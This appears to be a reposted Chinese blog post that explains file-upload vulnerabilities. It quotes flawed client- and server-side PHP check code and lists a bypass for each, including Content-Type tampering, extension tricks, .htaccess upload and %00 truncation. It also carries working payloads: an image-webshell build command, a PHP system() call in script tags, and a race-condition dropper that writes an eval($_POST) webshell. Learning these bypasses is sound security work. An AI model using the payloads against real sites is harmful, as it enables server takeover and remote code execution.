前言
重新学习漏洞原理,记录下文件上传的绕过姿势
客户端的检测:
1 function checkFile() { 2 var file = document.getElementsByName(‘upload_file‘)[0].value; 3 if (file == null || file == "") { 4 alert("请选择要上传的文件!"); 5 return false; 6 } 7 //定义允许上传的文件类型 8 var allow_ext = ".jpg|.png|.gif"; 9 //提取上传文件的类型 10 var ext_name = file.substring(file.lastIndexOf(".")); 11 //判断上传文件类型是否允许上传 12 if (allow_ext.indexOf(ext_name) == -1) { 13 var errMsg = "该文件不允许上传,请上传" + allow_ext + "类型的文件,当前文件类型为:" + ext_name; 14 alert(errMsg); 15 return false;
原理:文件上传也面含有专门检测文件上传的js代码,常见的检测文件扩展名是否合法
绕过:1、在本地浏览器禁用js
2、上传合法后缀名文件,然后用burpsuite抓包改包
服务端的检测:
MIME类型检测:content-type
1 if (($_FILES[‘upload_file‘][‘type‘] == ‘image/jpeg‘) || ($_FILES[‘upload_file‘][‘type‘] == ‘image/png‘) || ($_FILES[‘upload_file‘][‘type‘] == ‘image/gif‘)) { 2 $temp_file = $_FILES[‘upload_file‘][‘tmp_name‘]; 3 $img_path = UPLOAD_PATH . ‘/‘ . $_FILES[‘upload_file‘][‘name‘]; 4 if (move_uploaded_file($temp_file, $img_path)) { 5 $is_upload = true; 6 } else { 7 $msg = ‘上传出错!‘; 8 } 9 } else { 10 $msg = ‘文件类型不正确,请重新上传!‘; 11 }
绕过:抓包然后修改content-type
常用的content-type类型
黑名单检测:
1 if (file_exists(UPLOAD_PATH)) { 2 $deny_ext = array(".php",".php5",".php4",".php3",".php2",".php1",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".pHp1",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".ini"); 3 $file_name = trim($_FILES[‘upload_file‘][‘name‘]); 4 $file_name = deldot($file_name);//删除文件名末尾的点 5 $file_ext = strrchr($file_name, ‘.‘); 6 $file_ext = strtolower($file_ext); //转换为小写 7 $file_ext = str_ireplace(‘::$DATA‘, ‘‘, $file_ext);//去除字符串::$DATA 8 $file_ext = trim($file_ext); //收尾去空 9 10 if (!in_array($file_ext, $deny_ext)) { 11 $temp_file = $_FILES[‘upload_file‘][‘tmp_name‘]; 12 $img_path = UPLOAD_PATH.‘/‘.$file_name; 13 if (move_uploaded_file($temp_file, $img_path)) { 14 $is_upload = true; 15 } else { 16 $msg = ‘上传出错!‘; 17 } 18 } else { 19 $msg = ‘此文件不允许上传!‘; 20 } 21 } else { 22 $msg = UPLOAD_PATH . ‘文件夹不存在,请手工创建!‘; 23 }
常见的黑名单扩展名:
php|php2|php3|php4|php5|asis|htaccess
|asp|asa|cer|cdx|aspx|ashx|ascx|asax|htm
|html|shtml|pwml|phtml|phtm|js|jspvbs|asis
|sh|reg|cgi|exe|dll|com|bat|pl|cfc|cfm|ini
绕过:1、后缀名大小写限制
2、配合apache解析漏洞,apache在解析文件时,从右往左判断文件名,
如果后缀名不能解析,则继续往左判断,如aa.php.rar文件
3、双写后缀名进行绕过,有些检测会将危险后缀名替换为空,如双写pphphp,可以绕过
4、如果.htaccess没有被禁止上传,可以上传.htaccess来进行绕过,这个文件中可以指定哪些文件可以被php解析
白名单检测:
1 if(isset($_POST[‘submit‘])){ 2 $ext_arr = array(‘jpg‘,‘png‘,‘gif‘); 3 $file_ext = substr($_FILES[‘upload_file‘][‘name‘],strrpos($_FILES[‘upload_file‘][‘name‘],".")+1); 4 if(in_array($file_ext,$ext_arr)){ 5 $temp_file = $_FILES[‘upload_file‘][‘tmp_name‘]; 6 $img_path = $_GET[‘save_path‘]."/".rand(10, 99).date("YmdHis").".".$file_ext; 7 8 if(move_uploaded_file($temp_file,$img_path)){ 9 $is_upload = true; 10 } else { 11 $msg = ‘上传出错!‘; 12 } 13 } else{ 14 $msg = "只允许上传.jpg|.png|.gif类型文件!"; 15 } 16 }
绕过:1、%00截断,利用条件是php<5.3.4,并且magic_quotes_gpc关闭,上面代码中save_path可控,
利用%00截断,save_path=upload/1.php%00,然后和合法后缀名进行拼接而
move_uploaded_file()函数在进行文件转储时,读取到%00时就认为读取结束。
move_uploaded_file()在进行拼接时,还会忽略文件名后面的/.。也可以用于绕过。
2、 如果目标存在文件包含漏洞,可以结合上传图片马,然后用文件包含来进行利用
文件内容绕过:
上传图片马时,服务端检测图片的文件幻数(文件头),是否为图片,绕过之后上传需要配合文件包含漏洞
1 function getReailFileType($filename){ 2 $file = fopen($filename, "rb"); 3 $bin = fread($file, 2); //只读2字节 4 fclose($file); 5 $strInfo = @unpack("C2chars", $bin); 6 $typeCode = intval($strInfo[‘chars1‘].$strInfo[‘chars2‘]); 7 $fileType = ‘‘; 8 switch($typeCode){ 9 case 255216: 10 $fileType = ‘jpg‘; 11 break; 12 case 13780: 13 $fileType = ‘png‘; 14 break; 15 case 7173: 16 $fileType = ‘gif‘; 17 break; 18 default: 19 $fileType = ‘unknown‘; 20 } 21 return $fileType; 22 }
绕过:1、制作图片马,cmd命令,copy 1.jpg /b + shell.php /a shell.jpg,制作的图片马包含jpg文件的文件头
2、直接在shell.php前面加上文件头,
如:.jpg .jpeg .jpe:JPGGraphic File;
.gif :GIF89A
.ZIP:Zip Compressed
.doc .xls .xlt .ppt .apr:MS Comepound Document v1 or Lotus Approach APRfile
直接上传shell.php时,可能会检测文件中的敏感字符,并将其代替掉,下面代码中会将?代替为空
1 <?php 2 $path = "./uploads"; 3 $content = file_get_contents($_FILES[‘myfile‘][‘tmp_name‘]); 4 $content = str_replace(‘?‘, ‘!‘, $content); 5 $file = $path . ‘/‘ . $_FILES[‘myfile‘][‘name‘]; 6 7 if (move_uploaded_file($_FILES[‘myfile‘][‘tmp_name‘], $file)) { 8 file_put_contents($file, $content); 9 echo ‘Success!<br>‘; 10 } else { 11 echo ‘Error!<br>‘; 12 } 13 ?>
绕过:判断哪些字符没有被限制,然后突破限制,如过滤了问号可以用,<script language=‘php‘>system(‘ls‘);</script>
竞争上传绕过:
如果后台代码逻辑是先保存文件,然后检测文件内容。
1 <?php 2 fputs(fopen("shell.php","w"),"<?php eval(\$_POST[‘XXXSER‘]);?>") 3 ?>
绕过:我们可以写一个生成木马的木马,然后上传时用burpsuite不断请求。
所写内容是在网上总结所得,如有问题,请大佬指正
参考链接:https://xz.aliyun.com/t/6047
原文地址:https://www.cnblogs.com/s-qig57/p/12401248.html